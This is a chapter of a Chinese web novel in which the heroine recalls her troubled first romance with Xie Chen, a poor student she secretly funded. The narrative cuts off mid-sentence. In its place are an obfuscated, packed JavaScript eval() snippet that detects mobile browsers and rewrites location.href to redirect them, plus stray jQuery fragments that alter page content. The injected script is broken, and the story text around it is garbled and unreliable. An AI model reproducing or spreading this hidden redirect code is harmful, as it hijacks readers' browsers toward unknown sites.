7. 回顾孽缘

大部分的时候严简忆都下意识觉得罗念是个一根筋生物,简单、好懂。


这可能是因为她很少会揣摩罗念的想法、举动。


如果说罗念对她的在意程度是百分之二百,那她对罗念的在意连百分之三十都没有。


这一次她也只是在心里吐槽了一句,搞不明白他在想什么。


就将注意力从不重要的门上移开。


紧闭的房门仿佛罗念从没出现过。


可手机上,只有三个人的群聊里另外两人互道晚安的句子,又证明了罗念不久前出现过,而严简忆因为罗念错过了和朋友在今天最后的闲聊时间。


严简忆长叹一声,已经习惯她们的早睡。


有那么一瞬间她纠结了自己该不该怪罪,下午时选择睡觉,结果睡过头的自己,最后她还是没忍心怪自己,没办法,她太爱她自己了。


她和她们是多年的朋友了,虽然现在不常见面,但对她来说,这两个朋友是她可以完全信任的人。


她的所有心事都能与她们诉说。


盯着手机屏幕上的消息,严简忆抿了抿嘴唇。


从前两年起,她的这两个朋友接连确定了自己想要的生活,并顺利地过上了那样的生活。


她们是幸福稳定了,但严简忆对自己的未来还有很多看不清的地方。


现在不像之前,她们都有自己的生活了,导致严简忆有时也会不确定她能不能继续和她们诉说心事。


在很长一段时间里,她都在犹豫要不要把苦恼许久的事和她们说。


今天也一样,结果显而易见,她一直犹豫到她们都睡了,也没能把话说出口。


另外,她们是她最重要的朋友,看着她们确定自己想要的未来,毅然地走向通往那个未来的路。


作为朋友,严简忆肯定为她们高兴。


只是在为她们高兴的同时,作为三个人中剩下的那个人,她难免会有些迷茫。


她今年已经27岁了,但她还没有确定自己究竟想要怎样的未来。


看着朋友现在的生活,她总是会想这些年里她一直为之努力的事,是否真的是她真正想要的?


和白天时不同,现在的严简忆脸上缺少了那份兴致勃勃的笑。


最后看了一眼其中一个朋友特意和她说的‘早点睡’,严简忆就将手机关上,随手扔到一边。


床头柜上的电脑被她拿起来,放在腿上。


只有台灯亮着的房间里,没有一丝情绪的双眼中倒映着屏幕上冰冷的数据。


没有睡意的人感受不到时间的流逝,将全部的注意力都放在了电脑上,数据确定了一遍又一遍,脑子里的方案回顾了一遍又一遍。


在不知道第几遍的时候,一个数字忽然让她想起了谢琛。


想起今天谢琛走到她面前,要拉着她走的样子,严简忆就忍不住想笑。


刚开始她还以为谢琛是故意来给她找不痛快的,等上车之后她才反应过来,谢琛应该是看到了罗念。


误以为罗念是什么坏人才会那样做。


罗念虽然不丑,但长得确实很有震慑力,再加上气质也比较凶狠,产生这样的误会也正常。


说起来在一众前男友里,谢琛应该是最特殊的那个了。


是初恋又是严简忆真的动了感情的人,还是让严简忆找到性/癖的人。


从各方面来说都很特殊。


不过她和谢琛的感情并不美好,正如她今天说的那样,她与谢琛之间是‘孽缘’。


谢琛也一定是这样想的,如果他没这么想,那就是他把这段感情看待得更加可怕,把严简忆看的更加恐怖、恶心。


两个人分开之前,谢琛不止一次直白地告诉严简忆,他有多讨厌她,有多看不上她这种人。


如果是现在严简忆,她一开始就不会找谢琛这种人。


不对,就算是现在的严简忆,或许还是会在谢琛身上上当。


毕竟在他们的最开始的时候,谢琛可没说过不喜欢她。


谢琛比严简忆小了一岁,他家境不好,有一个爱赌博但已经下落不明的父亲,还有一个身患重病的母亲和弟弟。


他的父亲赌博、酗酒、家暴,在他14岁的时候翻出了家里所有的现金逃走了,扔下一大堆赌债给他和他母亲。


在这样的环境下,他的成绩在他当时的学校里已经算是不错的。


在18岁的时候,严简忆在母亲秘书的办公桌上看到了谢琛的资料。


说是资料,但其实就是薄薄的一页纸,写着字的部分不多,但整洁的字迹能看出来主人的重视。


那是一份资助申请。


严简忆的母亲每一年都会资助贫困家庭的学生上学,其中还会亲自挑选10名学生的家庭进行慈善救助。


严简忆不知道谢琛是不是想得到她母亲的慈善救助,她只知道这厚厚的一摞纸里,和谢琛一样惨甚至比他还惨的家庭了了皆是,成绩和他一样好甚至比他还好的人也了了皆是。


这些申请名单会先被助理、秘书筛选三遍,剩下的才会送到严简忆母亲的手上。


严简忆确定以及肯定,谢琛认真写下的申请不会被送到她母亲的桌子上。


当时她刚被某个老男人拒绝,而那个老男人的名字里也有一个琛字,看着谢琛的名字,严简忆决定掏出自己这些年攒的小金库自己资助他。


不过她不仅仅帮了谢琛,还帮了另外几个人。


那是严简忆第一次帮助其他家庭,也是她效仿母亲帮助他人的开始。


严简忆把钱拿出去后就没关注过谢琛。


可在一年后,她无意间碰到了已经考上大学的谢琛,那时的她快满19岁,而那时谢琛已经18成年了,她和谢琛的孽缘就这样开始了。


正好一个月的时间,她和谢琛成功在一起。


算是她追的谢琛。


谢琛这个人啊,自卑清高,聪明勤奋,虽然家境不好但胆子其实挺大的,敢做很多尝试,可就是因为家境不好,在很多时候他都会缩手缩脚的。


个子高却很瘦,像是一棵只顾着长个头的树,要是来了一阵大点的风都能把他折断的那种很傻很傻的树。


因为是初恋,也因为严简忆还不是现在这个样子。


她很心疼谢琛。


两个刚在一起的时候,严简忆给谢琛买了很多衣服和鞋子,还让谢琛住进她的房子里,开她的车。


当时她觉得爱一个就是要给对方他没有的东西,还有她觉得好的、珍贵的东西。


所以她给他钱。


所以她国内国外两天跑,把时间花在谢琛的身上。


在谢琛拒绝了几次她的好意后,严简忆明白了谢琛不喜欢她为他付出太多他给不起的东西。


严简忆不再


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281452|166836||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


强求谢琛必须穿她送的衣服,不要求他必须住进她家、开她的车。


她允许谢琛继续兼职做那个贫困的谢琛。


同时她也庆幸没告诉谢琛资助他的人是她。


谢琛一直觉得是她母亲帮助了他,他们在一起的时候,谢琛的母亲、弟弟还靠着她的帮助救命。


即使有了别人的帮助,谢琛身上的重担却没有变少,他一边上学一边兼职赚钱,明明无论是家人的医药费还是他学费他都不需要担心了。


可他还是记下了每一笔费用,想着以后要还给帮助他的人。


他还和严简忆说过以后会报道她的母亲。


严简忆知道他是认真的,不愿意他给自己那么大的压力,于是她告诉他,不用以后,他现在就可以报答她母亲。


他没明白严简忆的意思,茫然、不解地看着她。


她笑着告诉他,“你把你自己给她女儿就等于是报答她了。”


而他却说,“可我已经是你的了。”


这么一看,严简忆和谢琛之间还是有那么几天幸福美好的时候的,也不全是巴掌和诅咒一样的话。


但谢琛这个人太自卑了,极端的自卑,极端的敏感。


他把自己的心脏替换成了自尊心,没有了自尊就等于没有了命。


可他那么敏感的人,一有风吹草动他就会觉得是有人想要他的命。


路人匆匆过去的视线都会变成背地里对谢琛的嘲笑、议论。


谢琛最在意这些,他开始不希望严简忆太招摇地来找他。


那时的严简忆问他他话里的招摇是什么,谢琛沉默了半天才开口说是接送严简忆的车。


后来谢琛不知道怎么回事要求严简忆少来找他,说什么让别人看到了不好。


然后又变成了,不让严简忆去找他,严简忆要是想见他,给他发消息,他会过去。


最后又变成了,让严简忆少回国,一个月见一面就够了。


说什么她每天没事干,但他和她可不一样,要忙着学习要忙着兼职。


谢琛面对她的态度和之前截然不同,仔细想想应该就在那时候,严简忆在某一个瞬间里想起了谢琛曾经说过的报答,她还以为谢琛是因为恩情才和她在一起的


在他的嘴里,严简忆仿佛是一个不学无术的纨绔二世祖。


严简忆刚开始还觉得是谢琛心情不好,或是听到了什么风言风语才这样,还愿意耐心地哄他,想引导出谢琛这样的原因。


但次数多了严简忆也受不了了,她可以接受爱人不好的情绪,但不代表她能成为他情绪垃圾桶。


严简忆不是恋爱脑,不接受单方面的付出、发泄。


她开始不管谢琛说了什么,她会故意开着大部分的人都认识的跑车去找谢琛,大学、兼职的地方她都会去。


谢琛说要兼职,她就用钱买他的时间。


谢琛说要上课,她就张扬地等他,反正他会比她先受不了,选择离开。


但谢琛的忍耐力可没她好,没几次,谢琛就忍无可忍地和她说别用钱侮辱他。


而她却不再介意告诉谢琛,是她用钱续着他家人的命的事实,所以他必须乖乖听话。


时隔多年,再次回想这一幕的时候,严简忆很能清楚地想起,谢琛听到她气头‘威胁’后笑了出来。


他早就知道帮他和他的家庭的人是严简忆了。